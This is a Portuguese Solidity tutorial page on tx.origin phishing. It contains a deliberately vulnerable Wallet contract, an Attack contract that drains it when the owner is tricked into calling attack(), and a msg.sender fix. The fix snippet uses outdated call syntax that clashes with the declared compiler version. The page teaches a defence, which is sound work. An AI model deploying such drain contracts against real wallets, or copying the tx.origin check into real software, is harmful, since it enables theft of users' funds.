Phishing com tx.origin

# Phishing com tx.origin

# Qual é a diferença entre msg.sender e tx.origin?

Se o contrato A chama o B, e B chama C, em C msg.sender é B e tx.origin é A.

# Vulnerabilidade

Um contrato malicioso pode enganar o proprietário de um contrato, chamando uma função que somente o proprietário seria capaz de chamar.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;

/*
Carteira é um contrato simples em que somente o proprietário deve ser capaz de
transferir Ether para outro endereço. Wallet.transfer() usa tx.origin para confirmar
 que quem chama é o proprietário. Vamos ver como podemos hackear esse contrato
*/

/*
1. Alice implanta Wallet com 10 Ether
2. Eve implanta Attack com o endereço do contrato da Wallet de Alice.
3. Eve engana Alice com uma chamada Attack.attack()
4. Eve rouba com êxito Ether da carteira da Alice

O que aconteceu?
Alice foi enganada com uma chamada Attack.attack(). Dentro de Attack.attack(),
foi solicitada uma transferência de todos os fundos da carteira da Alice
para o endereço da Eve. Já que tx.origin na Wallet.transfer() é igual ao
do endereço da Alice, a transferência foi autorizada. A carteira transferiu
todo Ether para Eve.
*/

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

# Técnicas preventivas

Use msg.sender ao invés de tx.origin

function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner, "Not owner");

  (bool sent, ) = _to.call.value(_amount)("");
  require(sent, "Failed to send Ether");
}
Last Updated: 07/10/2022 21:58:58